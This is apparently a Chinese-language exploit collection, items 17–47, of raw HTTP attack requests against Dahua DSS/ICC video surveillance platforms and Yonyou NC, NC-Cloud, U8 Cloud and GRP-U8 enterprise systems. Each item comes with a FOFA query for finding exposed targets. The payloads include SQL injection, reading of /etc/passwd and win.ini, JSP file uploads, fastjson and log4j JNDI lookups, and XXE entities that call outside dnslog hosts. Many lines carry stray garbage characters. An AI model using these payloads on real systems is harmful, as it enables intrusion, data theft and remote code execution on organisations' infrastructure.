Accept-Language: en
Accept-Encoding: gzip
9 Z2 c1 p$ w& O- W2 X
" l7 m/ v: p1 Y. ?. ?' C
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
: \/ {- G  s# F% ?, EPOST /portal/services/itcBulletin?wsdl HTTP/1.1
% |* T# }" B  q$ b1 q& |* A$ bHost: x.x.x.x
* C+ i7 t) H# j4 b! w5 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
4 ^/ X, J+ p4 {+ W, k<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
* _& p! M. a  h* b3 U    </ns1:deleteBulletin>
! K; ^5 h) C% N8 Y- m. H  </s11:Body>
</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
8 b! u, \( Q& S7 X& XConnection: keep-alive

  n, S8 I- l6 k" T: A9 @
3 J0 L" b; h5 N8 \) {
' \* ?- [9 u. ~# w/ J+ Y! H19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
! N) u- r1 f( Y; u( i+ E. ^; o7 vHost:
6 c- x' D8 I$ `" N/ |8 oUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
9 X$ s" D7 V0 yAccept: */*
Connection: keep-alive


20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
3 a2 h6 W  F7 VGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
0 v( S8 r! p* l0 u+ l- Q/ v1 xHost: x.x.x.x
  H( q& g# x; }. P3 J+ J8 p& dUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# w7 J# \% U, o; q2 kConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
! n- ~3 _# B$ w1 {: {
% G0 |) @2 s& F
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
' z$ T+ N7 m5 |7 `& R. NPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 q- A* q/ X, n# DContent-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
" [. V/ S6 I; I4 w
{
"a":{
8 b/ O# R$ |7 T5 y* B2 O. l0 ^1 z   "@type":"com.alibaba.fastjson.JSONObject",
5 L- N5 K( S: p& |7 w3 `2 X    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
: w5 q: h6 W8 ]; i1 Y* |, l  }""
& {) G& U/ v$ ?1 r- X}
2 f/ o# T. a1 _' ?' ]
( M. q- o3 j1 n; o3 _$ x. L
9 l) c1 c* g+ F* F1 y  A( l! \1 T22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
7 Q7 @% O" ^- _' v( kPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
" C  z" U" S& |; }
4 F' W& v: R% X$ m* k5 A{
7 {3 D4 A- v1 H- |3 w"loginName":"${jndi:ldap://dnslog}"
4 p8 F* G  d: J" \) U; c}


" U" u, ?# s6 Y. J4 Y  x7 o
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
6 R  q5 v% }8 Z1 ~/ kHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
# X) d) v6 }5 l/ y6 F7 s. w) QAccept-Encoding: gzip
Connection: close

{
- ~0 g$ }" Z! e4 H! p9 y2 |; z  Q    "a":{
( C9 i2 Z/ u' U' F8 c        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
& d, T& v3 w" K7 S        }""
; c! \, d9 m# P2 ~: U6 L  [}


- U: @% w& |+ q, |& k24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
9 q, y7 ~* T+ o! x1 U2 g; x# ?POST /aim/equipmap/accept.jsp HTTP/1.1
; ~0 Q0 n, X! u) aHost: x.x.x.x
: E3 G! z/ e% z+ R2 F7 @User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
7 f6 ^. B9 Z6 A, P! Y/ n# pAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
" n- D4 |6 {7 ]) D8 TContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
, w' O% ^* _9 J3 T9 e-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
3 h" G; g" ?# [( s2 q" L4 `/ SContent-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
& s! l, N) K; I-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


3 C5 p" p1 l$ Z25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
' z6 ?- C6 ]/ {5 ?3 F' N  A* [POST /portal/registerServlet HTTP/1.1
Host: your-ip
) f, _9 D- H4 A% q9 B- I0 a+ EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
4 h- g: B$ V/ g- k3 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
/ r7 Z: Z, P2 M2 Q

4 v4 P1 t& B3 A: N7 D9 q5 \  `2 v
7 m1 O4 p6 Y% }8 H8 F! ?3 V26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
- R$ x6 c1 a6 d# C# m& p+ G/ OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
* d9 M" c3 X% zAccept-Encoding: gzip, deflate
% P3 A5 B9 q# k# K% JAccept: */*
Connection: keep-alive


27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
& w8 l: d' T9 ^  \- c4 b$ uGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
' q$ Z1 {0 }! S* i7 Y' u' kHost: your-ip
: t( o! V# ?& I; j$ I$ [8 |6 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 P/ Q8 B9 F  V0 Q% I" x  U: YAccept-Encoding: identity
/ m7 p4 B; Z! p) Z( m$ ?( r5 PConnection: close
Content-Type: text/xml; charset=utf-8
3 {# Z7 X1 |& q- @5 g

* z' {- g% t7 w" u8 ^8 P* d+ r28. 用友NC grouptemplet 任意文件上传
% a# a9 _" D4 w: uFOFA：icon_hash="1085941792"
1 Y) c6 A; `, T! ^; c5 ^POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
5 }1 o, T: i% m8 EHost: x.x.x.x
# E: H3 G: q+ O6 d. ~5 h) j$ jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
: [$ x* \' G4 {% d$ T, MConnection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
9 g, E# m$ j. j$ Q1 a" RAccept-Encoding: gzip
9 {; }; j7 v& T& Q0 h. e, X3 J- z
3 O' ^1 m1 B% [7 c" s2 O; `------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
1 O: r7 P4 _1 e
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
1 c( }5 j. c! R8 N------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
" B- j' s! M# ]4 p- i& H
- n* N9 h7 A" _
% F4 M: U7 ]% t) {. W6 a/ @' m! Z/uapim/static/pages/nc/head.jsp
0 N6 d' |4 V% m0 {8 |  _7 V) G
) y) D8 `1 u5 M& }' h29. 用友NC down/bill SQL注入
- D6 E5 @! E0 r: D6 B8 t5 tFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
3 A  Z. u1 D. ~# ZGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
% V) l$ J& H- k$ Q, d0 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" c  d* A4 Z7 mContent-Type: application/x-www-form-urlencoded
; I! ^; q; g4 l- e$ ]9 J; ?7 [+ X& |6 S3 FAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
  f2 w4 [+ s7 s, E7 n
1 u) p; j. E- D$ Q# y
7 r+ F2 f" m- w1 v8 C# {1 ]0 W+ V30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
2 }; q" L! K1 R8 b2 H1 {8 Q2 hHost: your-ip
+ s2 x' u# c: @Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
7 Z$ [& x6 n$ @2 c$ @/ JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
' {  O  H+ G) d6 ^$ I2 W6 q2 iConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
1 m2 M6 M. \9 E3 J8 _) qContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
: I1 K' U7 X) l) P8 k4 zContent-Type: image/jpeg
- W: C8 g( u) k' I: ^' D6 l------WebKitFormBoundaryH970hbttBhoCyj9V--
+ X4 Q5 q3 g- O9 ^) g, }

0 U8 Q0 ^0 [, w* @  y5 W8 \, \5 ?31. 用友NC runStateServlet SQL注入
. m/ V) v, }% u: [2 v6 E$ W/ fversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
8 J3 V7 m" s0 C/ DHost: host
0 r5 c+ p: d* p& \- v7 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
/ l3 g& c4 H6 s8 B$ xContent-Type: application/x-www-form-urlencoded
9 m5 G3 m/ s6 k3 _! w4 V9 L1 i

32. 用友NC complainbilldetail SQL注入
$ e+ t. ?* e/ \- A; a" b3 }, eversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
3 e1 u. O' C; G$ H- S" KGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 v4 {+ n7 a) N0 hHost: your-ip
+ m$ U8 R; e1 }2 ?. Z  K" bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
2 Z; K+ O) A2 J- U( tAccept-Encoding: gzip, deflate
% E  P. ~3 y% o5 D) KAccept: */*
3 {7 p# u, Z: |! iConnection: keep-alive
9 A, ^1 J# h5 W  e

33. 用友NC downTax/download SQL注入
' w# x- A, T1 N4 H0 Xversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# o0 n0 f3 D, u) E2 ~. ZContent-Type: application/x-www-form-urlencoded
) B# T! w0 G* N, QAccept-Encoding: gzip, deflate
Accept: */*
/ J- o5 Z5 H, u( L% u  D7 U6 V6 tConnection: keep-alive

- w5 z; j9 \* c5 p% d- w4 e
8 y( l5 d& R8 r' w34. 用友NC warningDetailInfo接口SQL注入
4 r7 r6 c3 _3 W5 Y* v$ a0 IFOFA：app="用友-UFIDA-NC"
% R( y7 v5 {% K; i( N7 q$ pGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
5 f  l0 f, e! _' iAccept-Encoding: gzip, deflate
1 U; L% {/ A9 y0 d% N: Q8 m% TAccept: */*
Connection: keep-alive
$ w1 Y( n! n" ], {# w$ ?9 Q

* r% x8 n  ^5 N35. 用友NC-Cloud importhttpscer任意文件上传
8 K; h8 `4 U# x- {6 v9 ~FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
+ G( v6 F( H; H0 I" q, @Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
6 O2 N5 Q2 m7 f) ?Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
' f# \/ p/ N/ ]4 E/ B5 o2 x& `Content-Length: 190
9 M% I. C" m6 @* d% m, k# w4 f" zContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
1 O- \& a" t. Z
! T. ?5 V9 N6 f5 |( d--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
/ X7 c2 I0 y7 {: i' [
<%out.println(1111*1111);%>
3 `3 B, J8 D3 |# ?8 A--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
9 h0 k! f2 P8 X; D# YFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
! @( s5 }% Y/ T: e  [" y7 Z" Y7 xPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
2 K, m$ D3 f  x8 d8 v! H1 K# QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
& H& L* [" D/ t0 a: d. P& c) Y5 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
" g9 g8 f* K# {/ {Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
' ]3 Z' s6 F7 b: @9 O
1 o2 x" B& G3 i; T( A, @: Ymsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

7 R* ~) q! f9 }! ?& X0 A
- R/ P% J& [) |37. 用友NC-Cloud IUpdateService XXE
6 K$ Y# K+ \9 [1 G* B* ?# z- ~% V9 wFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
1 i) a  ?3 }  M# W, t4 S! hHost: 192.168.40.130:8989
! i4 q7 d0 o$ B, J( R" A* H. ~. d  bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
: B; p7 h% N, c( x" v" _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- I3 F/ s% @. {% X' J0 C5 \1 X; LAccept-Encoding: gzip, deflate
0 J& h5 F/ h0 I: w$ ]! }Accept-Language: zh-CN,zh;q=0.9
Connection: close
, N& P  R/ |/ _% i5 P" g$ ~$ S) DContent-Type: text/xml;charset=UTF-8
' q4 _9 G0 A& b; H+ ^/ Y" |SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
  u" H& k" v- `# X: s
4 j- r' E5 q. m) b- X) \- v$ @0 p' P<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
9 Z9 R  H: e1 B* M: [<soapenv:Header/>
" H8 G' f% E- A<soapenv:Body>
& P2 W' r0 {6 Q1 G<iup:getResult>
<!--type: string-->
/ k& {* `+ ~+ _0 t<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
. }2 v( |5 @/ V- y$ ]2 n</soapenv:Envelope>
4 w1 c: Q" w. O& q4 B- e
4 C5 l& v5 W+ K" b

38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
% G) P3 @: c4 t, P/ a% |POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
2 l; P. \! w' i0 qHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) u- R6 B6 M7 n* @% aConnection: close
$ m, v5 h9 p9 U* A+ V6 KContent-Type: application/x-www-form-urlencoded
; N. W1 I) H: \( _( A+ G& b) E
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

# ^( ^+ u9 c* l* ~& L0 n9 M
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
3 e  y. t- F' t( G" ?, fAccept: */*
! J, I% {9 Z2 K8 H0 X: F" cAccept-Language: en
Content-Type: application/x-www-form-urlencoded
( K$ Z% K: B, Q( H; ~3 MX-Forwarded-For: 127.0.0.1
2 a3 d) A6 E1 N# L- M+ j6 g0 r. vAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
* Q! l! t6 g7 W7 H+ l* j6 x
, f# q1 H% y0 U" y$ |3 x
: y, c  G  F" L; _5 B: S40. 用友U8-Cloud XChangeServlet XXE
* a8 M+ F; {! `8 {) A4 r! b/ ]FOFA：app="用友-U8-Cloud"
0 U; n2 Z; _( h$ Y; b, J* QPOST /service/XChangeServlet HTTP/1.1
3 n* ]+ W: m+ Q! ~9 E+ PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 @+ z8 V' t" j: v9 @$ _- ZContent-Type: text/xml
Connection: close
) t! X3 m: z( y: I9 t+ T! N5 ~0 Z8 L
' U4 ~# h$ O5 u; x' t<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
# u, |4 R5 F6 W3 X2 b
4 C4 ^" C0 p& h! S4 z4 i2 m
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
5 N; z7 I2 H6 J. G+ n0 cFOFA：app="用友-U8-Cloud"
/ h/ D- h! I9 H# J  \5 j% k: SGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
: j1 x) k! c. \$ RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
3 Y" q) @3 J+ }Connection: close
) R# C/ D9 e/ T
  B) v: w  S- \8 ?3 D, ~
) T2 d) i* Y) H* z$ C42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
4 L' |( g6 M7 h- [# zPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
6 k8 A5 O) k3 |7 r3 C# z& l& IContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
* A' H+ I% q6 p4 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

- K4 H$ l- k" i! z: `6 ?/ uPAYLOAD
& ?2 O) ]7 F8 V
/ ~$ q2 l5 @9 P+ @& p
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
7 y3 U0 z3 n1 P; R8 F
4 V5 o( j7 J+ L43. 用友GRP-U8 userInfoWeb SQL注入致RCE
- J+ a# n, U/ b8 C4 KFOFA：app="用友-GRP-U8"
3 D: V, e0 ^2 WPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
7 b$ r1 w: m, a$ `  m9 A% w5 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 {( A; P/ [. J. M+ z! LAccept-Language: zh-CN,zh;q=0.9
, v; V/ v, B% iConnection: close
4 P3 b# ]( H' E- VSOAPAction:
4 g* @$ x; X+ W1 [9 N( E8 |/ C$ IContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
7 [( h- U8 h- `2 F   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
% Y6 C: N: L6 i% Z6 L8 i      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
7 d3 J8 l8 s% Q. F, p# `- t( n

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
9 n4 G& T- E6 B) ~  mGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
1 W) B/ V4 v9 z# Z" P3 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) i# O: o* ]5 s* i* L' X/ sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 w. }6 _7 S  g. q# \
/ y7 g6 S) s$ |. x1 r3 ]5 J. e
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
* v4 Y4 X8 C2 Y( S  KConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ c# E( j& ^9 G7 b- IContent-Type: application/x-www-form-urlencoded
$ l5 K, M1 B0 p3 o" JAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
6 {* V5 I* j- k  D) A# @( _7 W+ }* v
  u# O# R3 b+ P
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
7 z1 j' i  B+ ]. ~) b$ \Host: your-ip
; w$ L+ C& U4 R& IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 ~. x9 q! ~: Z  P" W6 r1 y6 UAccept-Encoding: gzip, deflate
1 A5 Y: w2 [% [Accept-Language: zh-CN,zh;q=0.9
+ a5 r5 O/ q; m: c2 p* _$ ^" e/ cConnection: close

1 E0 B. q( Y9 P! Q3 R  N; N/ O
47. 用友GRP A++Cloud 政府财务云 任意文件读取
7 H0 c. z! e. O6 {/ A' O( fFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
9 f* Q( b# ?8 z4 kUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
